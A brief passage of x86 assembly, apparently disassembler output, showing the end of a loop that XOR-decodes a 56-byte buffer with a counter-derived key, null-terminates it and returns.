lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x38
jb 0x405622
mov byte [ebx + 0x39], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret